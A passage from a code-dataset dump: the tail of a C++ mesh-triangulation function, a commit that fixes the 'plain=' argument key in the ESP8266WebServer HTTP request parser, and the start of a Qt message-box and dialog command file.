);\n\t\t\t\tfaceVaryingIndices.push_back( i1 );\n\t\t\t\tfaceVaryingIndices.push_back( i2 );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tassert( numFaceVerts == 3 );\n\n\t\t\tint i0 = faceVertexIdStart + 0;\n\t\t\tint i1 = faceVertexIdStart + 1;\n\t\t\tint i2 = faceVertexIdStart + 2;\n\n\t\t\tnewVerticesPerFace->writable().push_back( 3 );\n\n\t\t\t\/\/\/ Copy across the vertexId data\n\t\t\tnewVertexIds->writable().push_back( vertexIds->readable()[ i0 ] );\n\t\t\tnewVertexIds->writable().push_back( vertexIds->readable()[ i1 ] );\n\t\t\tnewVertexIds->writable().push_back( vertexIds->readable()[ i2 ] );\n\n\t\t\t\/\/\/ Store the indices required to rebuild the facevarying primvars\n\t\t\tfaceVaryingIndices.push_back( i0 );\n\t\t\tfaceVaryingIndices.push_back( i1 );\n\t\t\tfaceVaryingIndices.push_back( i2 );\n\t\t}\n\n\t\tfaceVertexIdStart += numFaceVerts;\n\t}\n\n\tmesh->setTopology( newVerticesPerFace, newVertexIds );\n\n\t\/\/\/ Rebuild all the facevarying primvars, using the list of indices into the old data we created above.\n\tassert( faceVaryingIndices.size() == newVertexIds->readable().size() );\n\tTriangleDataRemap func( faceVaryingIndices );\n\tfor ( PrimitiveVariableMap::iterator it = mesh->variables.begin(); it != mesh->variables.end(); ++it )\n\t{\n\t\tif ( it->second.interpolation == PrimitiveVariable::FaceVarying )\n\t\t{\n \t\t\tassert( it->second.data );\n\t\t\tfunc.m_other = it->second.data;\n\t\t\tDataPtr data = it->second.data->copy();\n\n\t\t\tsize_t primVarSize = despatchTypedData<TriangleDataRemap, TypeTraits::IsVectorTypedData>( data, func );\n\t\t\tassert( primVarSize == faceVaryingIndices.size() );\n\t\t\t(void)primVarSize;\n\n\t\t\tit->second.data = data;\n\t\t}\n\t}\n\t\n\tassert( mesh->arePrimitiveVariablesValid() );\n}\n<|endoftext|>"} {"text":"<commit_before>\/* \n Parsing.cpp - HTTP request parsing.\n\n Copyright (c) 2015 Ivan Grokhotkov. All rights reserved.\n \n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n Modified 8 May 2015 by Hristo Gochkov (proper post and file upload handling)\n*\/\n\n#include <Arduino.h>\n#include \"WiFiServer.h\"\n#include \"WiFiClient.h\"\n#include \"ESP8266WebServer.h\"\n\n\/\/ #define DEBUG\n#define DEBUG_OUTPUT Serial1\n\nbool ESP8266WebServer::_parseRequest(WiFiClient& client) {\n \/\/ Read the first line of HTTP request\n String req = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n\n \/\/ First line of HTTP request looks like \"GET \/path HTTP\/1.1\"\n \/\/ Retrieve the \"\/path\" part by finding the spaces\n int addr_start = req.indexOf(' ');\n int addr_end = req.indexOf(' ', addr_start + 1);\n if (addr_start == -1 || addr_end == -1) {\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Invalid request: \");\n DEBUG_OUTPUT.println(req);\n#endif\n return false;\n }\n \n String methodStr = req.substring(0, addr_start);\n String url = req.substring(addr_start + 1, addr_end);\n String searchStr = \"\";\n int hasSearch = url.indexOf('?');\n if (hasSearch != -1){\n searchStr = url.substring(hasSearch + 1);\n url = url.substring(0, hasSearch);\n }\n _currentUri = url;\n \n HTTPMethod method = HTTP_GET;\n if (methodStr == \"POST\") {\n method = HTTP_POST;\n } else if (methodStr == \"DELETE\") {\n method = HTTP_DELETE;\n } else if (methodStr == \"PUT\") {\n method = HTTP_PUT;\n } else if (methodStr == \"PATCH\") {\n method = HTTP_PATCH;\n }\n _currentMethod = method;\n \n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"method: \");\n DEBUG_OUTPUT.print(methodStr);\n DEBUG_OUTPUT.print(\" url: \");\n DEBUG_OUTPUT.print(url);\n DEBUG_OUTPUT.print(\" search: \");\n DEBUG_OUTPUT.println(searchStr);\n#endif\n\n String formData;\n \/\/ below is needed only when POST type request\n if (method == HTTP_POST || method == HTTP_PUT || method == HTTP_PATCH || method == HTTP_DELETE){\n String boundaryStr;\n String headerName;\n String headerValue;\n bool isForm = false;\n uint32_t contentLength = 0;\n \/\/parse headers\n while(1){\n req = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (req == \"\") break;\/\/no moar headers\n int headerDiv = req.indexOf(':');\n if (headerDiv == -1){\n break;\n }\n headerName = req.substring(0, headerDiv);\n headerValue = req.substring(headerDiv + 2);\n if (headerName == \"Content-Type\"){\n if (headerValue.startsWith(\"text\/plain\")){\n isForm = false;\n } else if (headerValue.startsWith(\"multipart\/form-data\")){\n boundaryStr = headerValue.substring(headerValue.indexOf('=')+1);\n isForm = true;\n }\n } else if (headerName == \"Content-Length\"){\n contentLength = headerValue.toInt();\n }\n }\n \n if (!isForm){\n if (searchStr != \"\") searchStr += '&';\n String bodyLine = client.readStringUntil('\\r');\n if(bodyLine.startsWith(\"{\") || bodyLine.startsWith(\"[\") || bodyLine.indexOf('=') == -1){\n \/\/plain post json or other data\n searchStr += \"plain\";\n }\n searchStr += bodyLine;\n client.readStringUntil('\\n');\n }\n _parseArguments(searchStr);\n if (isForm){\n _parseForm(client, boundaryStr, contentLength);\n }\n } else {\n _parseArguments(searchStr);\n }\n client.flush();\n\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Request: \");\n DEBUG_OUTPUT.println(url);\n DEBUG_OUTPUT.print(\" Arguments: \");\n DEBUG_OUTPUT.println(searchStr);\n#endif\n\n return true;\n}\n\n\nvoid ESP8266WebServer::_parseArguments(String data) {\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"args: \");\n DEBUG_OUTPUT.println(data);\n#endif\n if (_currentArgs)\n delete[] _currentArgs;\n _currentArgs = 0;\n if (data.length() == 0) {\n _currentArgCount = 0;\n return;\n }\n _currentArgCount = 1;\n\n for (int i = 0; i < data.length(); ) {\n i = data.indexOf('&', i);\n if (i == -1)\n break;\n ++i;\n ++_currentArgCount;\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"args count: \");\n DEBUG_OUTPUT.println(_currentArgCount);\n#endif\n\n _currentArgs = new RequestArgument[_currentArgCount];\n int pos = 0;\n int iarg;\n for (iarg = 0; iarg < _currentArgCount;) {\n int equal_sign_index = data.indexOf('=', pos);\n int next_arg_index = data.indexOf('&', pos);\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"pos \");\n DEBUG_OUTPUT.print(pos);\n DEBUG_OUTPUT.print(\"=@ \");\n DEBUG_OUTPUT.print(equal_sign_index);\n DEBUG_OUTPUT.print(\" &@ \");\n DEBUG_OUTPUT.println(next_arg_index);\n#endif\n if ((equal_sign_index == -1) || ((equal_sign_index > next_arg_index) && (next_arg_index != -1))) {\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"arg missing value: \");\n DEBUG_OUTPUT.println(iarg);\n#endif\n if (next_arg_index == -1)\n break;\n pos = next_arg_index + 1;\n continue;\n }\n RequestArgument& arg = _currentArgs[iarg];\n arg.key = data.substring(pos, equal_sign_index);\n arg.value = data.substring(equal_sign_index + 1, next_arg_index);\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"arg \");\n DEBUG_OUTPUT.print(iarg);\n DEBUG_OUTPUT.print(\" key: \");\n DEBUG_OUTPUT.print(arg.key);\n DEBUG_OUTPUT.print(\" value: \");\n DEBUG_OUTPUT.println(arg.value);\n#endif\n ++iarg;\n if (next_arg_index == -1)\n break;\n pos = next_arg_index + 1;\n }\n _currentArgCount = iarg;\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"args count: \");\n DEBUG_OUTPUT.println(_currentArgCount);\n#endif\n\n}\n\nvoid ESP8266WebServer::_uploadWriteByte(uint8_t b){\n if (_currentUpload.currentSize == HTTP_UPLOAD_BUFLEN){\n if (_fileUploadHandler) _fileUploadHandler();\n _currentUpload.totalSize += _currentUpload.currentSize;\n _currentUpload.currentSize = 0;\n }\n _currentUpload.buf[_currentUpload.currentSize++] = b;\n}\n\nuint8_t ESP8266WebServer::_uploadReadByte(WiFiClient& client){\n int res = client.read();\n if(res == -1){\n while(!client.available())\n yield();\n res = client.read();\n }\n return (uint8_t)res;\n}\n\nvoid ESP8266WebServer::_parseForm(WiFiClient& client, String boundary, uint32_t len){\n \n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Parse Form: Boundary: \");\n DEBUG_OUTPUT.print(boundary);\n DEBUG_OUTPUT.print(\" Length: \");\n DEBUG_OUTPUT.println(len);\n#endif\n String line;\n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n \/\/start reading the form\n if (line == (\"--\"+boundary)){\n RequestArgument* postArgs = new RequestArgument[32];\n int postArgsLen = 0;\n while(1){\n String argName;\n String argValue;\n String argType;\n String argFilename;\n bool argIsFile = false;\n \n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (line.startsWith(\"Content-Disposition\")){\n int nameStart = line.indexOf('=');\n if (nameStart != -1){\n argName = line.substring(nameStart+2);\n nameStart = argName.indexOf('=');\n if (nameStart == -1){\n argName = argName.substring(0, argName.length() - 1);\n } else {\n argFilename = argName.substring(nameStart+2, argName.length() - 1);\n argName = argName.substring(0, argName.indexOf('\"'));\n argIsFile = true;\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg FileName: \");\n DEBUG_OUTPUT.println(argFilename);\n#endif\n \/\/use GET to set the filename if uploading using blob\n if (argFilename == \"blob\" && hasArg(\"filename\")) argFilename = arg(\"filename\");\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg Name: \");\n DEBUG_OUTPUT.println(argName);\n#endif\n argType = \"text\/plain\";\n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (line.startsWith(\"Content-Type\")){\n argType = line.substring(line.indexOf(':')+2);\n \/\/skip next line\n client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg Type: \");\n DEBUG_OUTPUT.println(argType);\n#endif\n if (!argIsFile){\n while(1){\n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (line.startsWith(\"--\"+boundary)) break;\n if (argValue.length() > 0) argValue += \"\\n\";\n argValue += line;\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg Value: \");\n DEBUG_OUTPUT.println(argValue);\n DEBUG_OUTPUT.println();\n#endif\n \n RequestArgument& arg = postArgs[postArgsLen++];\n arg.key = argName;\n arg.value = argValue;\n \n if (line == (\"--\"+boundary+\"--\")){\n#ifdef DEBUG\n DEBUG_OUTPUT.println(\"Done Parsing POST\");\n#endif\n break;\n }\n } else {\n _currentUpload.status = UPLOAD_FILE_START;\n _currentUpload.name = argName;\n _currentUpload.filename = argFilename;\n _currentUpload.type = argType;\n _currentUpload.totalSize = 0;\n _currentUpload.currentSize = 0;\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Start File: \");\n DEBUG_OUTPUT.print(_currentUpload.filename);\n DEBUG_OUTPUT.print(\" Type: \");\n DEBUG_OUTPUT.println(_currentUpload.type);\n#endif\n if (_fileUploadHandler) _fileUploadHandler();\n _currentUpload.status = UPLOAD_FILE_WRITE;\n uint8_t argByte = _uploadReadByte(client);\nreadfile:\n while(argByte != 0x0D){\n _uploadWriteByte(argByte);\n argByte = _uploadReadByte(client);\n }\n \n argByte = _uploadReadByte(client);\n if (argByte == 0x0A){\n argByte = _uploadReadByte(client);\n if ((char)argByte != '-'){\n \/\/continue reading the file\n _uploadWriteByte(0x0D);\n _uploadWriteByte(0x0A);\n goto readfile;\n } else {\n argByte = _uploadReadByte(client);\n if ((char)argByte != '-'){\n \/\/continue reading the file\n _uploadWriteByte(0x0D);\n _uploadWriteByte(0x0A);\n _uploadWriteByte((uint8_t)('-'));\n goto readfile;\n }\n }\n \n uint8_t endBuf[boundary.length()];\n client.readBytes(endBuf, boundary.length());\n \n if (strstr((const char*)endBuf, boundary.c_str()) != NULL){\n if (_fileUploadHandler) _fileUploadHandler();\n _currentUpload.totalSize += _currentUpload.currentSize;\n _currentUpload.status = UPLOAD_FILE_END;\n if (_fileUploadHandler) _fileUploadHandler();\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"End File: \");\n DEBUG_OUTPUT.print(_currentUpload.filename);\n DEBUG_OUTPUT.print(\" Type: \");\n DEBUG_OUTPUT.print(_currentUpload.type);\n DEBUG_OUTPUT.print(\" Size: \");\n DEBUG_OUTPUT.println(_currentUpload.totalSize);\n#endif\n line = client.readStringUntil(0x0D);\n client.readStringUntil(0x0A);\n if (line == \"--\"){\n#ifdef DEBUG\n DEBUG_OUTPUT.println(\"Done Parsing POST\");\n#endif\n break;\n }\n continue;\n } else {\n _uploadWriteByte(0x0D);\n _uploadWriteByte(0x0A);\n _uploadWriteByte((uint8_t)('-'));\n _uploadWriteByte((uint8_t)('-'));\n uint32_t i = 0;\n while(i < boundary.length()){\n _uploadWriteByte(endBuf[i++]);\n }\n argByte = _uploadReadByte(client);\n goto readfile;\n }\n } else {\n _uploadWriteByte(0x0D);\n goto readfile;\n }\n break;\n }\n }\n }\n }\n \n int iarg;\n int totalArgs = ((32 - postArgsLen) < _currentArgCount)?(32 - postArgsLen):_currentArgCount;\n for (iarg = 0; iarg < totalArgs; iarg++){\n RequestArgument& arg = postArgs[postArgsLen++];\n arg.key = _currentArgs[iarg].key;\n arg.value = _currentArgs[iarg].value;\n }\n if (_currentArgs) delete[] _currentArgs;\n _currentArgs = new RequestArgument[postArgsLen];\n for (iarg = 0; iarg < postArgsLen; iarg++){\n RequestArgument& arg = _currentArgs[iarg];\n arg.key = postArgs[iarg].key;\n arg.value = postArgs[iarg].value;\n }\n _currentArgCount = iarg;\n if (postArgs) delete[] postArgs;\n }\n}\n\n\n<commit_msg>missingg the equal sign<commit_after>\/* \n Parsing.cpp - HTTP request parsing.\n\n Copyright (c) 2015 Ivan Grokhotkov. All rights reserved.\n \n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n Modified 8 May 2015 by Hristo Gochkov (proper post and file upload handling)\n*\/\n\n#include <Arduino.h>\n#include \"WiFiServer.h\"\n#include \"WiFiClient.h\"\n#include \"ESP8266WebServer.h\"\n\n\/\/ #define DEBUG\n#define DEBUG_OUTPUT Serial1\n\nbool ESP8266WebServer::_parseRequest(WiFiClient& client) {\n \/\/ Read the first line of HTTP request\n String req = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n\n \/\/ First line of HTTP request looks like \"GET \/path HTTP\/1.1\"\n \/\/ Retrieve the \"\/path\" part by finding the spaces\n int addr_start = req.indexOf(' ');\n int addr_end = req.indexOf(' ', addr_start + 1);\n if (addr_start == -1 || addr_end == -1) {\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Invalid request: \");\n DEBUG_OUTPUT.println(req);\n#endif\n return false;\n }\n \n String methodStr = req.substring(0, addr_start);\n String url = req.substring(addr_start + 1, addr_end);\n String searchStr = \"\";\n int hasSearch = url.indexOf('?');\n if (hasSearch != -1){\n searchStr = url.substring(hasSearch + 1);\n url = url.substring(0, hasSearch);\n }\n _currentUri = url;\n \n HTTPMethod method = HTTP_GET;\n if (methodStr == \"POST\") {\n method = HTTP_POST;\n } else if (methodStr == \"DELETE\") {\n method = HTTP_DELETE;\n } else if (methodStr == \"PUT\") {\n method = HTTP_PUT;\n } else if (methodStr == \"PATCH\") {\n method = HTTP_PATCH;\n }\n _currentMethod = method;\n \n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"method: \");\n DEBUG_OUTPUT.print(methodStr);\n DEBUG_OUTPUT.print(\" url: \");\n DEBUG_OUTPUT.print(url);\n DEBUG_OUTPUT.print(\" search: \");\n DEBUG_OUTPUT.println(searchStr);\n#endif\n\n String formData;\n \/\/ below is needed only when POST type request\n if (method == HTTP_POST || method == HTTP_PUT || method == HTTP_PATCH || method == HTTP_DELETE){\n String boundaryStr;\n String headerName;\n String headerValue;\n bool isForm = false;\n uint32_t contentLength = 0;\n \/\/parse headers\n while(1){\n req = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (req == \"\") break;\/\/no moar headers\n int headerDiv = req.indexOf(':');\n if (headerDiv == -1){\n break;\n }\n headerName = req.substring(0, headerDiv);\n headerValue = req.substring(headerDiv + 2);\n if (headerName == \"Content-Type\"){\n if (headerValue.startsWith(\"text\/plain\")){\n isForm = false;\n } else if (headerValue.startsWith(\"multipart\/form-data\")){\n boundaryStr = headerValue.substring(headerValue.indexOf('=')+1);\n isForm = true;\n }\n } else if (headerName == \"Content-Length\"){\n contentLength = headerValue.toInt();\n }\n }\n \n if (!isForm){\n if (searchStr != \"\") searchStr += '&';\n String bodyLine = client.readStringUntil('\\r');\n if(bodyLine.startsWith(\"{\") || bodyLine.startsWith(\"[\") || bodyLine.indexOf('=') == -1){\n \/\/plain post json or other data\n searchStr += \"plain=\";\n }\n searchStr += bodyLine;\n client.readStringUntil('\\n');\n }\n _parseArguments(searchStr);\n if (isForm){\n _parseForm(client, boundaryStr, contentLength);\n }\n } else {\n _parseArguments(searchStr);\n }\n client.flush();\n\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Request: \");\n DEBUG_OUTPUT.println(url);\n DEBUG_OUTPUT.print(\" Arguments: \");\n DEBUG_OUTPUT.println(searchStr);\n#endif\n\n return true;\n}\n\n\nvoid ESP8266WebServer::_parseArguments(String data) {\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"args: \");\n DEBUG_OUTPUT.println(data);\n#endif\n if (_currentArgs)\n delete[] _currentArgs;\n _currentArgs = 0;\n if (data.length() == 0) {\n _currentArgCount = 0;\n return;\n }\n _currentArgCount = 1;\n\n for (int i = 0; i < data.length(); ) {\n i = data.indexOf('&', i);\n if (i == -1)\n break;\n ++i;\n ++_currentArgCount;\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"args count: \");\n DEBUG_OUTPUT.println(_currentArgCount);\n#endif\n\n _currentArgs = new RequestArgument[_currentArgCount];\n int pos = 0;\n int iarg;\n for (iarg = 0; iarg < _currentArgCount;) {\n int equal_sign_index = data.indexOf('=', pos);\n int next_arg_index = data.indexOf('&', pos);\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"pos \");\n DEBUG_OUTPUT.print(pos);\n DEBUG_OUTPUT.print(\"=@ \");\n DEBUG_OUTPUT.print(equal_sign_index);\n DEBUG_OUTPUT.print(\" &@ \");\n DEBUG_OUTPUT.println(next_arg_index);\n#endif\n if ((equal_sign_index == -1) || ((equal_sign_index > next_arg_index) && (next_arg_index != -1))) {\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"arg missing value: \");\n DEBUG_OUTPUT.println(iarg);\n#endif\n if (next_arg_index == -1)\n break;\n pos = next_arg_index + 1;\n continue;\n }\n RequestArgument& arg = _currentArgs[iarg];\n arg.key = data.substring(pos, equal_sign_index);\n arg.value = data.substring(equal_sign_index + 1, next_arg_index);\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"arg \");\n DEBUG_OUTPUT.print(iarg);\n DEBUG_OUTPUT.print(\" key: \");\n DEBUG_OUTPUT.print(arg.key);\n DEBUG_OUTPUT.print(\" value: \");\n DEBUG_OUTPUT.println(arg.value);\n#endif\n ++iarg;\n if (next_arg_index == -1)\n break;\n pos = next_arg_index + 1;\n }\n _currentArgCount = iarg;\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"args count: \");\n DEBUG_OUTPUT.println(_currentArgCount);\n#endif\n\n}\n\nvoid ESP8266WebServer::_uploadWriteByte(uint8_t b){\n if (_currentUpload.currentSize == HTTP_UPLOAD_BUFLEN){\n if (_fileUploadHandler) _fileUploadHandler();\n _currentUpload.totalSize += _currentUpload.currentSize;\n _currentUpload.currentSize = 0;\n }\n _currentUpload.buf[_currentUpload.currentSize++] = b;\n}\n\nuint8_t ESP8266WebServer::_uploadReadByte(WiFiClient& client){\n int res = client.read();\n if(res == -1){\n while(!client.available())\n yield();\n res = client.read();\n }\n return (uint8_t)res;\n}\n\nvoid ESP8266WebServer::_parseForm(WiFiClient& client, String boundary, uint32_t len){\n \n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Parse Form: Boundary: \");\n DEBUG_OUTPUT.print(boundary);\n DEBUG_OUTPUT.print(\" Length: \");\n DEBUG_OUTPUT.println(len);\n#endif\n String line;\n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n \/\/start reading the form\n if (line == (\"--\"+boundary)){\n RequestArgument* postArgs = new RequestArgument[32];\n int postArgsLen = 0;\n while(1){\n String argName;\n String argValue;\n String argType;\n String argFilename;\n bool argIsFile = false;\n \n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (line.startsWith(\"Content-Disposition\")){\n int nameStart = line.indexOf('=');\n if (nameStart != -1){\n argName = line.substring(nameStart+2);\n nameStart = argName.indexOf('=');\n if (nameStart == -1){\n argName = argName.substring(0, argName.length() - 1);\n } else {\n argFilename = argName.substring(nameStart+2, argName.length() - 1);\n argName = argName.substring(0, argName.indexOf('\"'));\n argIsFile = true;\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg FileName: \");\n DEBUG_OUTPUT.println(argFilename);\n#endif\n \/\/use GET to set the filename if uploading using blob\n if (argFilename == \"blob\" && hasArg(\"filename\")) argFilename = arg(\"filename\");\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg Name: \");\n DEBUG_OUTPUT.println(argName);\n#endif\n argType = \"text\/plain\";\n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (line.startsWith(\"Content-Type\")){\n argType = line.substring(line.indexOf(':')+2);\n \/\/skip next line\n client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg Type: \");\n DEBUG_OUTPUT.println(argType);\n#endif\n if (!argIsFile){\n while(1){\n line = client.readStringUntil('\\r');\n client.readStringUntil('\\n');\n if (line.startsWith(\"--\"+boundary)) break;\n if (argValue.length() > 0) argValue += \"\\n\";\n argValue += line;\n }\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"PostArg Value: \");\n DEBUG_OUTPUT.println(argValue);\n DEBUG_OUTPUT.println();\n#endif\n \n RequestArgument& arg = postArgs[postArgsLen++];\n arg.key = argName;\n arg.value = argValue;\n \n if (line == (\"--\"+boundary+\"--\")){\n#ifdef DEBUG\n DEBUG_OUTPUT.println(\"Done Parsing POST\");\n#endif\n break;\n }\n } else {\n _currentUpload.status = UPLOAD_FILE_START;\n _currentUpload.name = argName;\n _currentUpload.filename = argFilename;\n _currentUpload.type = argType;\n _currentUpload.totalSize = 0;\n _currentUpload.currentSize = 0;\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"Start File: \");\n DEBUG_OUTPUT.print(_currentUpload.filename);\n DEBUG_OUTPUT.print(\" Type: \");\n DEBUG_OUTPUT.println(_currentUpload.type);\n#endif\n if (_fileUploadHandler) _fileUploadHandler();\n _currentUpload.status = UPLOAD_FILE_WRITE;\n uint8_t argByte = _uploadReadByte(client);\nreadfile:\n while(argByte != 0x0D){\n _uploadWriteByte(argByte);\n argByte = _uploadReadByte(client);\n }\n \n argByte = _uploadReadByte(client);\n if (argByte == 0x0A){\n argByte = _uploadReadByte(client);\n if ((char)argByte != '-'){\n \/\/continue reading the file\n _uploadWriteByte(0x0D);\n _uploadWriteByte(0x0A);\n goto readfile;\n } else {\n argByte = _uploadReadByte(client);\n if ((char)argByte != '-'){\n \/\/continue reading the file\n _uploadWriteByte(0x0D);\n _uploadWriteByte(0x0A);\n _uploadWriteByte((uint8_t)('-'));\n goto readfile;\n }\n }\n \n uint8_t endBuf[boundary.length()];\n client.readBytes(endBuf, boundary.length());\n \n if (strstr((const char*)endBuf, boundary.c_str()) != NULL){\n if (_fileUploadHandler) _fileUploadHandler();\n _currentUpload.totalSize += _currentUpload.currentSize;\n _currentUpload.status = UPLOAD_FILE_END;\n if (_fileUploadHandler) _fileUploadHandler();\n#ifdef DEBUG\n DEBUG_OUTPUT.print(\"End File: \");\n DEBUG_OUTPUT.print(_currentUpload.filename);\n DEBUG_OUTPUT.print(\" Type: \");\n DEBUG_OUTPUT.print(_currentUpload.type);\n DEBUG_OUTPUT.print(\" Size: \");\n DEBUG_OUTPUT.println(_currentUpload.totalSize);\n#endif\n line = client.readStringUntil(0x0D);\n client.readStringUntil(0x0A);\n if (line == \"--\"){\n#ifdef DEBUG\n DEBUG_OUTPUT.println(\"Done Parsing POST\");\n#endif\n break;\n }\n continue;\n } else {\n _uploadWriteByte(0x0D);\n _uploadWriteByte(0x0A);\n _uploadWriteByte((uint8_t)('-'));\n _uploadWriteByte((uint8_t)('-'));\n uint32_t i = 0;\n while(i < boundary.length()){\n _uploadWriteByte(endBuf[i++]);\n }\n argByte = _uploadReadByte(client);\n goto readfile;\n }\n } else {\n _uploadWriteByte(0x0D);\n goto readfile;\n }\n break;\n }\n }\n }\n }\n \n int iarg;\n int totalArgs = ((32 - postArgsLen) < _currentArgCount)?(32 - postArgsLen):_currentArgCount;\n for (iarg = 0; iarg < totalArgs; iarg++){\n RequestArgument& arg = postArgs[postArgsLen++];\n arg.key = _currentArgs[iarg].key;\n arg.value = _currentArgs[iarg].value;\n }\n if (_currentArgs) delete[] _currentArgs;\n _currentArgs = new RequestArgument[postArgsLen];\n for (iarg = 0; iarg < postArgsLen; iarg++){\n RequestArgument& arg = _currentArgs[iarg];\n arg.key = postArgs[iarg].key;\n arg.value = postArgs[iarg].value;\n }\n _currentArgCount = iarg;\n if (postArgs) delete[] postArgs;\n }\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ the syntax for messages is:\n\/\/ wd 'mb type buttons title message'\n\/\/\n\/\/ type specifies the icon and default behaviour:\n\/\/ info (default OK button)\n\/\/ warn (default OK button)\n\/\/ critical (default OK button)\n\/\/ query (requires two or three buttons)\n\/\/\n\/\/ if one button, there is no result,\n\/\/ otherwise the result is the button name (ok, cancel, ...)\n\/\/\n\/\/ buttons are from the set:\n\/\/ mb_ok\n\/\/ mb_cancel\n\/\/ mb_yes\n\/\/ mb_no\n\/\/ mb_save\n\/\/ mb_discard\n\n#include <QApplication>\n#include <QColorDialog>\n#include <QFileDialog>\n#include <QFontDialog>\n#include <QMessageBox>\n\n#include \"wd.h\"\n#include \"cmd.h\"\n\nQString mbcolor();\nQString mbdir();\nQString mbfont();\nQString mbinfo(QString);\nQString mbmsg();\nQString mbopen();\nQString mbsave();\n\nQString type;\nQStringList arg;\n\nQMessageBox::StandardButton getdefaultbutton();\nQMessageBox::StandardButton getonebutton();\nQMessageBox::StandardButtons getotherbuttons();\nQString getname(int);\n\n\/\/ ---------------------------------------------------------------------\nQString mb(string p)\n{\n arg=qsplit(p);\n if (arg.size()<2) return \"\";\n\n type=arg.first();\n arg.removeFirst();\n if (type==\"color\")\n return mbcolor();\n if (type==\"dir\")\n return mbdir();\n if (type==\"font\")\n return mbfont();\n if (type==\"open\")\n return mbopen();\n if (type==\"save\")\n return mbsave();\n if (type==\"info\"||type==\"query\"||type==\"warn\"||type==\"critical\")\n return mbmsg();\n return mbinfo(\"invalid mb type: \" + type);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbmsg()\n{\n int r;\n QString t,m;\n\n QMessageBox::StandardButton button1=getdefaultbutton();\n QMessageBox::StandardButtons buttons=getotherbuttons();\n\n if (arg.size()==1) {\n t=\"Message Box\";\n m=arg.at(0);\n } else if (arg.size()==2) {\n t=arg.at(0);\n m=arg.at(1);\n } else {\n return mbinfo (\"Need title and message: \"+arg.join(\" \"));\n }\n\n if (button1==-1) {\n button1=QMessageBox::Ok;\n if (type==\"query\")\n buttons=QMessageBox::Cancel;\n }\n buttons|=button1;\n\n if (type==\"query\") {\n r=QMessageBox::question(QApplication::focusWidget(),t,m,buttons,button1);\n return getname(r);\n }\n if (type==\"critical\")\n QMessageBox::critical(QApplication::focusWidget(),t,m,buttons,button1);\n else if (type==\"info\")\n QMessageBox::information(QApplication::focusWidget(),t,m,buttons,button1);\n else if (type==\"warn\")\n QMessageBox::warning(QApplication::focusWidget(),t,m,buttons,button1);\n return \"\";\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbcolor()\n{\n QColor c;\n int r,g,b;\n\n if (arg.size()==3) {\n r=arg.at(0).toInt();\n g=arg.at(1).toInt();\n b=arg.at(2).toInt();\n c=QColor(r,g,b);\n } else\n c=Qt::white;\n c=QColorDialog::getColor(c,QApplication::focusWidget());\n if (!c.isValid()) return \"\";\n return s2q(i2s(c.red()) + \" \" + i2s(c.green()) + \" \" + i2s(c.blue()));\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbdir()\n{\n QString title,dir;\n if (arg.size()!=2)\n return 